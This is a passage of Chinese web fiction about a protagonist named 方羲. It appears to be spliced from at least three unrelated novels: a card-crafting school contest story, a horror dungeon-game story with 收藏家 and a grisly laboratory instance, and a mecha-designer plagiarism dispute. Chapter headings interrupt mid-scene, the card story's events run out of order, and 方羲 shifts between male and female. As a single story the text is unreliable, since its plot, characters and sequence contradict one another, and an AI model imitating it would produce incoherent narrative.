毕竟在这之前，他们还想过要招揽方羲呢。 只是因为后来冯晋明确表达了对方羲的厌恶，他们就打消了这份心思。 虽然后来学校证明了方羲的清白，但是他们跟冯晋相处了这么久，早就看透了他的本性，所以他们可不觉得冯晋会因此解除心底对方羲的误会，反而觉得冯晋肯定会因为方羲让他丢了一次脸而更加厌恶方羲。 在这样一种情况下，他们自然就更不可能去招揽方羲了。 也正因为如此，他们之后就再也没有关注过方羲。 没想到他也会来参加这一届的星火杯大赛。 所以他们也就只当他刚才说的那些话是在给自己打气。 “好了。” 方羲站起身：“你们先回去吧，我们下午见。” 毕竟这场比赛要持续八个小时呢，倒不至于让这两个小孩在观众席上一坐就是八个小时。 而且现在直播技术已经非常发达了，欧阳瑞和小阿拉斯加完全可以在光脑上收看他的比赛直播。 欧阳瑞：“好的。” 直到方羲的身影彻底消失在中央体育场的大门里，欧阳瑞这才转过身准备带着小阿拉斯加回去。 哪知道就在这个时候，一个声音响了起来：“小瑞？” 欧阳瑞抬头一看，下意识道：“晋哥。” 来的人可不正是冯晋。 他直接就朝着欧阳瑞大步走了过去。 他也看到了旁边已经等了他好一会儿的陈通等人，所以故意加大了声音：“你是专门来给我加油的吗？” 要知道前几天他给欧阳瑞发消息说，想带着陈通他们去陪欧阳瑞玩，结果却被欧阳瑞给拒绝了的事情，可是让他丢了不少的脸。 不过看在欧阳瑞今天主动来给他加油，又帮他在陈通等人面前把面子挣了回来的份上，他决定不计较那点小事了。 听见这话，陈通等人的目光果然变了。 他们不可置信的看向了欧阳瑞。 这个小男孩就是欧阳震华老先生的独孙？ 听到冯晋的话，欧阳瑞的目光不免有些飘忽。 他能说他都已经把冯晋给忘了吗？ 好在冯晋这会儿光顾着得意去了，根本就没有注意到他的神情变化。 他蹲下身体，说道：“那小瑞能祝我拿到比赛的冠军吗？” 欧阳瑞的小眉头直接就皱了起来。 他也不想让冯晋失望。 可是他刚才已经把这个祝福送给方羲哥哥了。 看他一直不说话，冯晋脸上的笑容顿时就有些挂不住了。 果然，傻子就是傻子，连句吉祥话都不会说。 所以他当即伸手摸了摸欧阳瑞的头：“啊，我听到小瑞在心里祝福我了，谢谢小瑞。” “对了，小瑞还没有见过我的队友吧，我给你介绍一下，这是陈通哥哥，这是赵雪姐姐……” 欧阳瑞还是不太喜欢跟陌生人打交道，他忍不住往后面退了退。 陈通见状，连忙打断冯晋的话：“晋哥，外面太阳大，而且比赛马上就要开始了，还是让保姆机器人先送欧阳小少爷回去吧。” 这可是陈通自己放弃的这么好的一个结识欧阳瑞的机会，不是他故意阻拦。 所以冯晋当即就答应了下来，而且亲自把欧阳瑞送到了悬浮车上。 回来之后，他还不忘感慨道：“小瑞今天也有课呢，而且他特别害怕到人多的地方来，所以我都没有想过他会来给我加油……” 他就差明着告诉陈通他们，他和欧阳瑞的关系，比他们想象中的还要亲密，所以他们最好加大讨好他的力度了。 殊不知这会儿，陈通等人看向他的目光，已经跟看一个智障差不多了。 他们忍不住又看了一眼欧阳瑞的悬浮车离开的方向。 冯晋看不清楚状况，难道他们还看不清楚吗？ 毕竟他们刚才可是亲眼看到欧阳小少爷和那个方羲是怎样有说有笑的。 不过现在显然不是深究这件事情的时候。 他们现在最重要的任务，是完成这场比赛。 整个中央体育场上已经摆好了一副副桌椅，每张桌子面前都立着一个机器人，它们的肚子里放着的是一张张空白卡牌，从F级到A级不等，参赛选手画完一张卡牌就可以从它手里再拿到一张。 在工作人员的带领下，方羲等人很快就找到了他们的座位。 而启明星赛场的直播间里，已经涌进了上千万观众。 【启明星第一中学的选手加油！】 【萨尔星第一中学的选手最棒的！】 【海棠星第一中学的选手们，干翻他们！】 不少主播趁机打开了直播，跟着围观吐槽。 主播：“我们这个赛点今年最出风头的肯定是启明星第一中学了。” “羡慕他们啊，抱到了欧阳震华老先生的大腿，直接就一飞冲天了。” “让我们来看看他们的参赛名单……嗯？嗯？嗯？这操作我有点看不懂了。” “一号种子队，牧诏，陈亮，姜维秦……牧小少爷实力强悍，不需要把希望寄托在团体赛上，所以队友可以随意选择，可以理解。” “二号种子队，陈通，赵雪……冯晋，一个D级，三个E级，配一个F级……冯晋同学可是欧阳震华老先生的恩人，是他一手缔造了现在的启明星第一中学的盛况，加上陈通他们才高二，明年才是他们的主战场，所以他们带着冯晋同学来玩一玩也是很正常的事情。” “三号种子队，宋约，刘营敢……方羲，高三前四配一个普通高二生？虽然那个方羲也是E级，但他却是前不久才刚刚晋升的。” 粉丝：【皇族？】 主播：“谁知道呢，也有可能是高三生里实在找不到合适的人选了，就从高二生里面挑了一个了。” 粉丝：“整体实力本来就不行，还带着一个拖后腿的，这场团体赛启明星第一中学不会全军覆没吧？” “还真有可能。” “比赛开始了！” 其他的首席玩家，只是瞥了一眼，同样没太放在心上，继续检查副本数据。 但过了一会，他们忽然听见宋白玉惊喜的声音，瞬间一愣，继而猛地抬头。 “收藏家？你怎么来了？！” 所有工作狂立刻丢下手里的事情，纷纷向门口看并走过去。 ——她的身上，没有丝毫血味，的确如傀儡夏青禾所说的那样，很健康。 这是所有首席玩家的第一念头。 仅仅只通过系统联系，傀儡的转告，也不足以真正确定收藏家的状态。 直到现在，站在数据室工作的二十余名玩家，看见这名鲜少露面、在短短三个月就建立了无数奇迹的先行者，此时正站在门口，脸上带着点漫不经心的笑。 他们心底才终于有了一点真切感。 太好了。 杀死恶魔的先行者，真的还活着。 第 113 章 第 113 章 “收藏家，先进来吧。”宋白玉让开路。 但因为全部注意力放在了方羲身上，见到她转头，宋白玉才忽然反应过来，门外还有其他人，疑惑地看了一眼。 三名新晋玩家？ 踏樱、一夕和梨花雪，三人都待在门外的廊道上，暂且没有离开。 “你们可以在外面等我一会吗？”方羲想了想，语气有些抱歉地说，“不过时间可能会有点久。” 踏樱点了点头，并没什么意见。 等到门被轻轻合上的时候，踏樱才收回目光，不咸不淡地看了看梨花雪，脸上露出一个友好的微笑：“既然这样，我们就暂时等一会吧～我们该怎么称呼你呢？” 梨花雪轻声细语地说了自己的游戏名字。 踏樱没见过梨花雪，但凭借她出众的观察能力，还有叽叽喳喳的话唠习惯，很快对梨花雪有了初步的了解。 殊不知校长口中的那四个非常靠谱的队友这会儿眉头皱的都快能夹苍蝇了。 而他们，可不正是第一中学这一届的高三制卡班首席宋约，以及年级第二、第三、第四。 他们都是清一色的E级制卡师。 所以对于这一届的星火杯大赛，他们根本就没有多少的把握。 因而在这之前，他们一直寄希望于他们能够在团体赛中拿到更多的积分，好让他们获得更高的名次，到时候他们说不定也能获得一些世家的青眼，得到他们的资助，甚至拿到几所重点大学的保送名额。 结果校长转身就把年级第五剔除出了他们的团队，然后把高二年级的方羲塞了进来。 他们已经可以预见他们在团体赛初赛第一场就被淘汰出局的结局了。 “校长是疯了吗？那个方羲的资质再好，他现在也只是一个F级制卡师而已。” 他难道不知道，如果他们能够在星火杯大赛上取得优异的成绩，对于第一中学，只有好处没有坏处吗？ “我突然想起一件事情来。” “嗯？” “听说那个方羲生父不详，你们说，他的生父会不会就是……” “怎么可能，咱们校长是什么人难道你还不知道吗？” “也是。” “那他的生父一定很有来头，以至于就连校长都不得不屈服于他的淫威之下，千方百计给他安排镀金的机会。” “一定是这样的没错。” “我终于知道当年我表哥被逼着把好不容易写出来的论文的一作让给他导师还没成年的儿子，以换取他导师不会故意卡他的答辩让他延毕的承诺的心情了。” “原本以为要等我上了大学之后，才有资格遭受社会的毒打，没想到我才刚刚上高三，就体验到了。” “只怪我爸妈不会投胎，要不然我早就直接保送帝国大学了，哪里还用得着待在这里受这份窝囊气。” “好了，都别说了，一会儿那个方羲还有吴老师就该到了。” 吴老师是校长专门给他们安排的指导老师。 他是第一中学的外聘老师，也是第一中学唯一的一位A级制卡师。 要不是因为能够得到他的指导，他们才不会容忍校长把方羲塞进来呢。 于是等到方羲来到这间教室的时候，对上的就是四张……再热情不过的脸。 宋约站起来笑着招呼道：“你就是方羲吧，快过来坐。” 年级第二率先伸出手：“听说你只用了不到一个星期的时间，就学会了制作五种卡牌？” 年级第三直接把自己的位置让了出来：“有你在，这场比赛，我们稳了。” 方羲：“……” 总觉得什么地方怪怪的，但是又说不出来。 于是他走了过去。 “和各位学长相比，我还差得远呢。” 没一会儿的功夫，教室里就又‘热闹’了起来。 又过了几分钟，吴老师到了。 他先简单做了个自我介绍，然后直接说道：“既然你们都是E级制卡师，那我就直接将我以前用过的一套战法教给你们吧……” “好的。” 宋约等人当即说道。 然后他们才反应过来：“等等——” 他们都是E级制卡师？ 方羲不是个F级制卡师吗？ 哪知道吴老师却道：“嗯，有什么问题吗？” 问题大了去了。 他们转头看向方羲：“你晋升成为E级制卡师了？” “你不是才刚刚觉醒没有多久吗？” 准确的来说，是一个月都不到。 方羲谦虚道：“可能我的运气比较好。” 宋约等人：“……” 觉醒不到一个月就晋升到了E级—— 这怎么可能？ 这种只会在人均A级能力者的某乎上出现的事情，怎么可能会发生在他们身边？ 可是想想也知道，方羲不可能撒谎。 宋约等人：“…………” 这就是人类的参差吗？ 他们酸了。 跟半年没洗澡的小狗似的。 不过很快，他们就又松了一口气。 他们想起了他们刚才说过的话。 还好，还好他们爸妈不怎么会投胎，以至于他们年纪轻轻就掌握了社会的潜规则，所以刚才才没有给方羲脸色看。 要不然他们现在的脸可就丢大了。 再等等。 既然吴老师都已经知道了方羲晋升了的事情了，那校长也肯定早就已经知道了。 但他却故意没有告诉他们—— 宋约等人直接就沉默了。 他们的这位校长，多多少少有点调皮了！！ 但这难道不是最好的结果吗？ 宋约等人终于冷静了下来。 于是皆大欢喜。 方羲开始试着学习制作E级卡牌。 一支E级卡笔要三万星币。 一份E级水卡的图纸要六千星币。 方羲忍不住又摸了摸坐在他身旁的欧阳瑞的脑袋。 谷大姨那边这一周售卖卡牌的钱，加上将他之前用过的F级卡笔转卖掉的钱，刚好够他买上一支新卡笔。 所以多亏了欧阳瑞和小阿拉斯加之前一口气给他抽了两个一等奖，要不然他一时半会儿的还真就拿不出这么多的钱来购买E级水卡的图纸。 也多亏了第一中学每个月都会补助他一千积分，让他能够白嫖学校的卡牌超市里的空白E级卡牌，而不用花上两百星币的价格去外面购买。 所以他之前还是高兴的太早了，以为觉醒成为制卡师之后，就已经实现了财富自由了，没想到他赚得多的同时，花的也更多了。 言归正传，E级水卡和F级水卡相比，难度至少翻了五倍。 F级水卡由十一种纹路组成，E级水卡的纹路则达到了三十种。 一张空白卡牌只有成人半个巴掌大小，要想把三十种纹路全都整齐刻画到一张卡牌上，困难可想而知。 方羲照例先拿过一沓草稿纸，打起了草稿。 等到将纹路全都记下之后，他才拿过一张空白卡牌，慢慢刻画起来。 然后一分钟之后，一道类似于圆珠笔掉落在书桌上的声音响起，卡牌前半部分上密密麻麻的纹路随即消失的无影无踪。 失败了。 方羲将那张废卡往旁边一扔，拿过一张新的空白卡牌就又刻画了起来。 第二次。 又失败了。 方羲再次拿过一张新的空白卡牌。 第三次，成功了。 虽然这是方羲意料之中的事情，但真正看到成品的时候，他还是忍不住露出了一丝笑容。 恰好在这个时候来接欧阳瑞回去的牧诏：“……” 看着方羲那在阳光的照耀下散发着微茫的发梢，他不得不承认，每次看到方羲，对方都能给他带来一些……惊喜。 听见动静，两人不约而同的回过了头。 欧阳瑞当即从凳子上跳了下去。 方羲也站了起来：“牧同学。” 他已经知道了面前这个曾经差点被他撞到的少年就是牧家小少爷了。 毕竟这位小少爷从入学的第一天起，就成了第一中学的风云人物。 而乔峻又正好隔空继承了一点地球人的八卦基因，所以这几天，方羲从他嘴里可是听说了不少关于他的事迹，比如五天之内收到了两百三十多份情书，遭遇了十多次车祸，对了，其中六次的主角是男人…… 他对牧诏的感官很不错，不仅是因为他长得好看，更因为当初要不是牧家提供的那管觉醒药剂，他想要觉醒成为能力者还不知道要经历多少波折。 牧诏点头回应：“方同学。” “听说你也报名了星火杯大赛？” 方羲送他们出门：“是的。” 牧诏：“老师说，如果你遇到了难题，可以直接去请教他。” 方羲：“好的。” 虽然他目前并没有遇到什么难题。 牧诏：“那么，祝你和我都能取得一个好成绩。” 三天之后，初赛名单出炉，牧诏的名字果然也在其中。 那位因为方羲的‘横插一脚’而失去和宋约等人组队的机会的高三年级的第五名，因祸得福，进了他的队伍。 除他们之外，这一次，第一中学一共组建了七十五支参赛队伍。 一班和二班的那些大少爷和大小姐几乎都选择了参加比赛。 但他们只是庞大的参赛者队伍中的冰山一角，这一次，第十星系总共有两万五千多名学生报名参加了比赛。 也正因为报名的学生太多，所以团体赛和个人赛的初赛第一场，并不在第十星系的主星第十星举行，而是将距离比较近的几个星球的考生集中到一个星球进行考核，启明星就是其中一个考核星球。 所以为了筛掉更多的人，初赛第一场往往非常简单粗暴，就是给予参赛者八个小时的时间以及不限量的空白卡牌，只有在规定的时间里制作出十五张F级卡牌的，才能晋级下一轮，制作的卡牌的数量越多，等级越高，种类越多，积分就越高。 初赛第一场的时间最终定在两天后，启明星赛点则是定在了中央体育场。 早在一个星期前，第十星系星网就开始铺天盖地的宣传这一赛事了。 【报名人数创历年之最！】 【第十星系十大家族均有嫡系子弟出战，参赛选手质量再创新高，今年第十星系能够洗刷掉身上的耻辱吗！】 …… 方羲抬了下眼皮。 看看白色机械风格的数据室缓缓消失，被另一个空间覆盖。 方羲打量了一番四周的环境，想了想问：“这个副本主题是你们选的？” “不是。”秦淮月解释道，“我们按照你说的，将仿真度调高百分百，并且具体的副本类型没有进行任何筛选调整，一切完全随机。” “是吗？”方羲嘀咕道，“那还真巧。” 桌子上装满瓶瓶罐罐，储存架摆放着真空包装的人造器官，铁杆悬吊着一具具发黄的骷髅，还有整整一排的大型人体培养皿，整个房间泛着暗绿色的幽光。 ……居然是一个实验室。 第 114 章 第 114 章 梨花雪睁开了眼睛，发现自己身处一个大型的培养皿，身上是一套白色的实验病服，但没有插着输液的支管。 而培养皿之外的实验室，似乎空无一人。 她转过身，手和脸贴住墙壁，观察隔壁培养皿里的玩家——是猎人一夕，她似乎处于昏睡状态，迟迟没有醒过来。 梨花雪微微瞪大眼睛，发现空气中浮动着无数扭曲黑暗的文字，在努力钻进一夕的大脑。 【这是一只待死亡的失败品之一，由于没什么价值，其名字编码已被剥夺，留给下一批实验品循环使用。】 【她现在正在享用最后的晚餐：培养皿的垃圾营养液。】 【里面似乎参杂着大量废弃排污水、不太有营养的尸肉、有毒的试剂残液——真是丰盛的晚餐啊！】 方羲和乔峻这边，他们前脚回到宿舍，后脚整个宿舍区就炸了。 但这一次并不是物理意义上的爆炸。 “卡牌协会刚刚出的公告，因为赛诺寒流预计会在三个月后抵达第二、第三和第五星系，所以今年的星火杯大赛提前两个月举行，时间定在八月一号，报名程序三天后启动。” “因为去年第十星系的代表团表现不佳，所以今年，第十星系只有十个半决赛名额。” 乔峻：“星火杯是卡牌协会针对整个星际联盟中，未满二十二岁的在校中学生制卡师，创办的大赛。” “星火杯每年举办一次，分为个人赛和团体赛两项比赛。” “初赛由各大星系卡牌协会分会举办，卡牌协会每年会按照往年的比赛成绩将半决赛名额分配给各大星系。” “比赛奖励丰厚，哪怕只是进入所在星系的前一千名，都能获得三万星币的奖金。” “如果能进入所在星系的前十，那还没从高中毕业就解决了普通人或许一辈子都解决不了的房车问题绝对不是异想天开。” “前年我们第十星系的前三名甚至都直接拿到了联盟第一大学的保送名额。” “要是能在决赛里取得名次——那还是不要想了，去年的星火杯决赛的前两百名最低都是D级制卡师，第一名甚至是个B级制卡师，要知道咱们学校的校长也才不过是个B级制卡师而已，所以星火杯决赛又叫世家交流赛，普通学生几乎插不进去。” “不过今年的星火杯跟我们这些普通的高二生其实没有多大的关系。” 毕竟他们才刚刚觉醒没多久。 以乔峻为例，虽然他已经是二班除了方羲之外，学习进度最快的人了，但他至今都还没能成功画出一张卡牌。 “不过没关系，等明年的星火杯大赛，我们一定能大展身手。” 方羲点了点头。 也正因为如此，没过多久，他们这栋宿舍楼就慢慢安静了下去。 但冯晋显然不是这么想的。 尤其是在欧阳震华手把手的教导下，他不仅成功学会了冥想，还画出了第一张水卡的情况下。 他想去参加星火杯。 镀金是一方面，最主要的是，方便他认识更多的世家大小姐。 虽然欧阳震华每个月都会给他十万星币的零花钱，欧阳瑞送给他的那些小礼物也都价值不菲，所以他现在并不缺钱。 但他显然不能安于现状，毕竟欧阳震华不可能养他一辈子。 他必须趁着现在，给自己再找一个助力——他能想到的办法就是找一个世家大小姐联姻。 只可惜了，转学到第一中学来的这些大小姐都长得不怎么样，而且家世也都不怎么好。 只要能杀进前一百，他就能接触到更多的世家小姐，要是他能够进入前十，说不定还能借着这个机会，结识中央星系的世家小姐呢。 但他也知道，凭借他的实力，别说是进入星系前十了，恐怕第一轮就会被刷下去。 所以他想到了一个好办法，那就是同时报名参加个人赛和团体赛。 有人带着，他说不定还真就能拿到一个名次，甚至是团体赛的冠军。 而且个人赛是在团体赛结束之后举行，说不定他那个时候已经晋升到了E级制卡师了。 所以他要做的，就是组建一支靠谱的队伍。 而这对于他来说，却是再简单不过的事情了。 毕竟一班的那些大少爷大小姐里，最不缺的就是E级制卡师了。 其中甚至还有一个D级制卡师。 “行啊！” 在接到了他的邀请之后，那些大少爷果然爽快的答应了下来。 为首的陈通笑眯眯说道：“那我们到时候要是遇到难题了，岂不是能沾到晋哥你的光，直接去请教欧阳老先生？” 冯晋瞥了他一眼，他就知道这些大少爷大小姐都是不见兔子不撒鹰的主，不过看在他们这么识趣的份上，他也不会跟他们计较这点无关紧要的事情就是了。 “那是当然的了。” 冯晋似乎已经看到了自己驰骋星火杯大赛，抱得美人归的场景了，所以他大手一挥，决定再给陈通他们一点甜头：“对了，你们之前不是说，想认识一下小瑞吗，不如我现在就带你们去欧阳庄园找他玩去。” 陈通脸上的笑意顿时就真成了三分：“那可真是太好了。” 冯晋当即打开光脑，给欧阳瑞发过去了一条讯息。 “小瑞，睡醒了吗？下午我带几个哥哥姐姐过来陪你玩好不好？” 如果不出意外的话，过不了一分钟，欧阳瑞的消息就会发过来。 果不其然，半分钟后，他的光脑就响了。 他点开一看，然而下一秒，他脸上的笑容就僵住了。 因为那条回信的内容是：“晋哥，不好意思，我下午有点事情，不能跟你一块玩儿了。” 欧阳瑞没有撒谎，他下午真的有事，只不过是去找方羲他们玩。 这一次，都不需要乔峻再来接他了，第一中学主动给他办了一张通行证，他直接刷卡进去就可以了。 到了地方，方羲和乔峻果然还在忙着学习。 欧阳瑞也不急，小阿拉斯加也不闹，就默默的搬了条凳子在他们身边坐好。 因为来之前乔峻就跟他们说好了，要等到六点的时候，他和方羲才有时间带他去玩。 反而是乔峻，先弄出了动静。 他把卡笔往桌子上一扔：“怎么又失败了。” “明明我已经把每个细节都记得一清二楚了。” 听见这话，欧阳瑞忍不住探头过去看了一眼。 只见乔峻的桌子上已经堆积了十几张画坏了的卡牌。 好在乔峻很快就又振作了起来。 不过这一次，他先抱起了佛脚，只见他双手合十，念念有词：“求求你了老天爷，让我成功一次吧！” 然后又像是想起了什么，他转头看向欧阳瑞。 欧阳瑞：“？” 下一秒，乔峻伸手就把他抱了起来，放在了自己的大腿上：“别动别动，让哥哥蹭蹭你的好运气。” 他可还记得之前欧阳瑞和小阿拉斯加随便一抽就抽出了一个特等奖和两个一等奖的事情呢。 听见这话，欧阳瑞顿时就不动了。 乔峻拿过一张空白卡牌，再次刻画了起来。 这一次，他手中的卡笔就像是抹了润滑剂一样，一路畅通无阻，直到六分钟后—— 看着面前瞬间成型的F级水卡，乔峻懵了。 “我竟然成功了？” 他的声音越来越大：“我居然真的成功了！” 说完，他又低头看向欧阳瑞，猛的在他的头顶上亲了一口：“宝贝，你身上是真的有点好运在啊！” 欧阳瑞：“……” 乔峻当即决定趁热打铁。 他再次拿过一张卡牌，仔细回想了几遍刚才的手感之后，再次刻画了起来。 第二次，失败了。 第三次，成功了。 第四次，又成功了。 第五次，又又成功了！ …… 乔峻越画越兴奋，很快就沉浸了进去。 欧阳瑞看看他，又看了看旁边的方羲，然后……轻手轻脚的从他身上爬了下去。 再然后，他直接走向方羲，一手撑在桌子上，爬到他的大腿上坐好。 方羲不明所以，顺手搂住了他，以防他一不小心摔下去。 欧阳瑞轻轻握住了他的手，在心里默默说道：“把我的好运也借给方羲哥哥呀！” 方羲正在试着制作一张红豆卡。 只不过和之前不一样的是，这一次，他没有事先从卡牌协会官网购买红豆卡的制作图纸。 是的，他准备试着自己制作一张红豆卡。 在他看来，红豆和黄豆都是豆科蝶形花亚科的植物，结构也都差不多，所以两种卡牌的纹路也应该大同小异。 他先在草稿纸上整理了一遍思路，很快就确定了初版的图纸。 他拿过一张卡牌，就刻画了起来。 然后半分钟后，他手下的笔尖一顿，前面刻好的纹路随即消失的无影无踪。 失败了！ 这还是方羲第一次经历失败。 有点挫败，但不多。 他拿过那沓草稿纸，开始复盘。 很快，他就发现了问题所在。 于是他拿过一张新的草稿纸，重新组织了起来。 十分钟之后，一个崭新的图案跃然纸上。 方羲再三确定无误，再次拿过一张空白卡牌，刻画了起来。 五分钟后，一张完美无瑕的卡牌新鲜出炉。 方羲拿起那张卡牌，用力在左下角一按。 下一秒，一道绿光闪过，一捧红豆出现在了他的手心。 几乎是同一时间，方羲那原本已经绷得紧紧的灵魂海突然一松，就像是什么禁锢被打破了一般。 方羲的唇角直接就勾了起来。 也就在这个时候，乔峻再次大喊了起来：“我成功了，我真的成功了。” 他当即就要抱住欧阳瑞的脑门再亲上两口，然后就扑了个空。 他转头一看，欧阳瑞这会儿正在方羲的大腿上坐着呢。 乔峻：“……” 方羲低头看向怀里的欧阳瑞：“走，带你们去游乐场玩去。” 欧阳瑞看起来比他还要高兴，他用力点了点头：“嗯嗯。” 但是他们最终也没能去成游乐场。 因为校长的电话突然打了过来，叫方羲去一趟他的办公室。 看到方羲抬手准备敲门，校长正要直接招呼他进来，下一秒，他就愣住了。 因为他发现方羲周身的气息变了，变得更加浓郁了。 他当然知道这意味着什么。 所以他才更加的震惊：“你，你晋级了？” 方羲也是一惊。 他没想到校长竟然一眼就看出了他的等级。 但他转念一想，这个世界上的能力者其实就和地球上传说中的修仙者差不多，所以高等级的能力者能看出低等级的能力者的等级也很正常。 所以他点了点头：“是的，就是刚才的事情。” “好好好。” 校长腾的一下从座位上站了起来。 他笑的都快合不拢嘴了。 觉醒不到三个星期，就从F级晋升到了E级—— 他原本还以为，如果不出意外的话，至少有百分之二十的可能，几十年后，他们启明星能再出一个牧家老祖宗，但是现在看来，这个几率至少能再翻上一倍。 他走到方羲身前，亲切的拉着他的手把他送到沙发前：“坐坐坐。” “听秦老师说，你的家境好像不太好，这样吧，以后你制作的卡牌，如果出售给学校的话，学校按照比市场价低五星币的价格收购，你觉得怎么样？” 这当然是再好不过的事情了。 因为市面上一张F级卡的收购价和市场价就已经相差了十五星币，E级卡的收购价和市场价的差额就更大了，甚至达到了八十星币。 这也是当初为什么方羲会选择花上更多的时间和精力在廉租小区里销售卡牌，而不是将制作的卡牌统一出售给卡牌超市的主要原因。 而廉租小区的居民的主要消费一般以水卡和少量的食材卡为主，除了这些卡牌之外，在这之前，方羲制作的其他类型的卡牌，很多都还没有卖出去呢。 第一中学的学生也可以将他们制作的卡牌出售给学校，但是价格和外面那些卡牌超市开出的价格差不多，所以现在校长给出这样的优惠条件，真的是非常照顾他了。 方羲笑着说道：“那就谢谢校长了。” “这有什么。” 校长说：“你以后生活上要是再遇到什么困难，尽管来找我，我能解决的，一定会尽力帮你解决。” 方羲：“好的。” 校长：“还有一件事情，学校希望你能去参加这一届的星火杯大赛！” 这才是他今天把方羲叫过来的真正目的，他原本就觉得方羲一定能够在这场大赛中一展身手，现在他更有信心了。 他们必须得让欧阳震华老先生全方位的看到方羲的优秀。 他说：“出名要趁早，星火杯大赛就是一个很好的舞台。” “你不要担心会取不到好名次，我给你找了四个非常靠谱的队友。” 但他们面上却不显，暂且将重重疑虑压下，只是相互笑着猜测。 “两千五？” “应该不是……我记得踏樱的灵感也有这么高吧？” “两千七？三千？三千三？” 首席玩家们谨慎猜测，并观察着方羲的表情，企图看出点什么线索。 但方羲并不打算提前揭晓答案，反而摸摸下巴，深沉地说：“等副本结束再告诉你们，如果有人猜对了，我想想……回头给胜利者送一篮苹果，怎么样？” 首席玩家面面相觑，想起了那个难吃的黑暗苹果，忽然陷入死一般的沉默，并失去了一切猜测的欲望。 第 115 章 第 115 章 梨花雪一行人走出门外，脚下踩着薄薄一层如有实质的血液，抬起眼。 无数十字架屹立在土地之上，有的捆绑着烧了一半的尸体，有的则是新端上的失败品，手脚被插了好几刀、又凶狠拔出，全身滴滴答答的流着血液。 地上的血就是这么来的，和烧黑的尸体、吹落的骨灰，交织在一片。 中间有一条狭窄的路，几米远的地方还横戈着一条长而巨大的溪流。 梨花雪往前移动了一段距离，伸出手让队友们停下——因为他们似乎看不到这条近在咫尺的河流，如果随便踩进去，后果不堪设想。 她往河流上看了一眼，忽然有些发愣，忍不住攥紧拳头。 因为，溪流上飘流着溺死的婴儿，被拔断的脐带，废弃的人造器官。 解说室直播结束，盯着成绩怔愣半天的钟泽终于回神。 钟泽忽地一拍大腿，“唉，怎么没破记录呢！还让我设置题目简单点，看看！这不就有人完成了？！该设置更难些的！” 谭会长笑着白他一眼，“你要求也太高了。别人刷新纪录的准备了多久，这次参赛准备了多久？怎么，年轻人闪亮登场，你这前浪羡慕了？” “咳。”钟泽收敛了些嘚瑟，催促主持人，“直播完了对吧？快快调一下后台数据，我要看她除了雨光草，还换了什么材料！” 主持人从激动中冷静了点，闻言没动，反而满脸古怪，“呃……” 对上钟泽诧异神色，主持人赶紧道，“钟校长，不用调，她、她没用别的材料。” “啊？！”钟泽猛地蹦了起来，看着一条说起方羲睡觉时间的弹幕，急得抓耳挠腮，“她、她怎么会只用了这么点时间，只用了雨光草？怎么做到的？不行，我得回去做实验！” 钟泽原地转了两圈，嗖地跑出去不见了。 谭会长扶额叹气，“当上校长还是个撒手没实验狂，真是……” “前辈们这是爱才，见才心喜。”主持人打圆场。 谭会长笑了笑，“他去试也好，我也想知道，这是怎么做到的。” 不仅嘉宾们有疑问，等在休息区的机甲师们也是满腹疑问惊奇，看见方羲开门出来，像围观珍稀宝贝似的一拥而上。 “恭喜方机甲师，你太厉害了！” “感觉书都白学了，不知道怎么想出来的！” “我怎么没这个脑子呢呜呜呜！这是什么改造啊？会接定制吗？机甲公司要买授权，应该会第一个找上你吧？可一定要告诉我们沾沾喜气啊！” 热闹的祝贺声里，一张张脸洋溢着激动好奇笑容，方羲险些以为看到了师弟师妹们——每次改良新符箓后，师弟师妹们也是这么喜气洋洋的。 方羲晃了下神，耐心地回答，“本场比赛用的是玄武长寿符，会接定制的…… 祝贺声热烈非凡，方二哥听不下去，扭头就走。方绮看着被簇拥在人群中心的少女，再看看冷冷清清的身边，气得咬牙。 成绩榜单上，她在方羲下面几十名，泯然众人，差距大得令人绝望。 方绮咽不下这口气，走近贴心关怀道，“羲羲，我还担心你生病了呢。看你没事取得了好成绩，我就放心了。我的机甲部件快上市了，你要是回来，姐姐一定帮你推荐稿子。” 她知道方羲手里没有抄袭证据，初赛后这么久也没提过，肯定是找不到翻盘的证据才不说的。 比赛第一怎么了？方羲这个哑巴亏是吃定了！ 围观的机甲师们愣了一下，“欸，你们真是姐妹？好厉害，一个拿了第一，一个这么早就有机甲公司买授权了！” 方羲挑眉，“推荐？把我的设计还回来再说。” 方羲等的就是大伯一家把事情坐实。 大家口口相传的“抄袭”，和在官方机构登记、准备上市出售的机甲部件抄袭，不是一个概念。 虽然机甲师都会断绝职业生涯，但只有后一种，才是完全无法挽回的。方绮已经拿抄袭作品参赛，加上协会登记和准备出售，只要确定抄袭，不仅机甲师要承担法律责任，承销的机甲公司也会受到打击。 哗—— 机甲师们惊呆了，“还设计？难不成有、有人抄袭？？” “什么什么？不会吧？现在协会认定的那么严，多少年都没见有人抄袭了啊？” 方羲怎么敢说出来的？！ 方绮被审视的目光扫过，倒没有心虚，更多的是不敢置信。方绮心中生出一股狂喜：初赛方羲莫名其妙转了性，没能让方羲被认定抄袭，现在，机会来了！ 零星几个水蓝机甲系同学想起什么，“之前确实听说方羲成绩有问题，被退学了……要是没问题，也不至于退学吧？” 方绮忍住没笑出声，不枉她坚持不懈地暗示方羲的问题！ 吃瓜的机甲师们左右看看两人，犹豫起来。有协会背书，又有方羲的传闻，这谁有问题，还真说不好啊…… 人群里忽地响起一声惊叹：“什么大学啊，能拿第一的机甲师都会被退学？” 方绮脸色微僵，窃窃议论着方羲黑料八卦的同学们呛住，尴尬地说不出话。 众人反应过来：对啊！复赛的选手又不是花架子，成绩可做不了假！ 方羲对帮她说话的白馥笑了笑，不避不让望着方绮，“既然你已经在协会登记，我们就去协会检测吧。到底是谁抄袭，很快就知道了。” 方绮暗笑方羲自己给自己挖坑，假惺惺劝道，“我们是一家人，你心里不舒服说些话没事的。知道错了的话，姐姐原谅你，不必去协会。” “你怕了？那申请大赛委员会核查吧。”方羲招招手，叫来一台服务机器人。 方绮叹了口气，没再拦，“好吧，等结果出来，你别后悔就是了。姐姐确实不太擅长这次的考核，很高兴你取得好成绩，但你不能这么污蔑姐姐啊。” 围观的机甲师们看方绮一点也不担心，倒是有几分信她了。哪有抄袭的人这么坦率让人查的？成绩好的，也许不一定人品好。 可转头看见淡然平静的方羲，他们又不确定了：谁在说谎？ 水蓝色像个泡泡一样的机器人飘过来，选手的成绩和设计都可以申请核查，提交申请后，很快检索出对应机甲。 【No.10000，选手方绮使用设计，机甲协会登记编号SL1028E，设计成稿时间：X722年8月28日，设计名：“天使之翼”一次性加速模块。 如申请版权核查，请提交对应证据，等待委员会确认。】 方羲目光停在时间上，脸色微冷。 难怪方绮有恃无恐，提交的这份设计初稿时间，比她找回的光脑文件还早！ 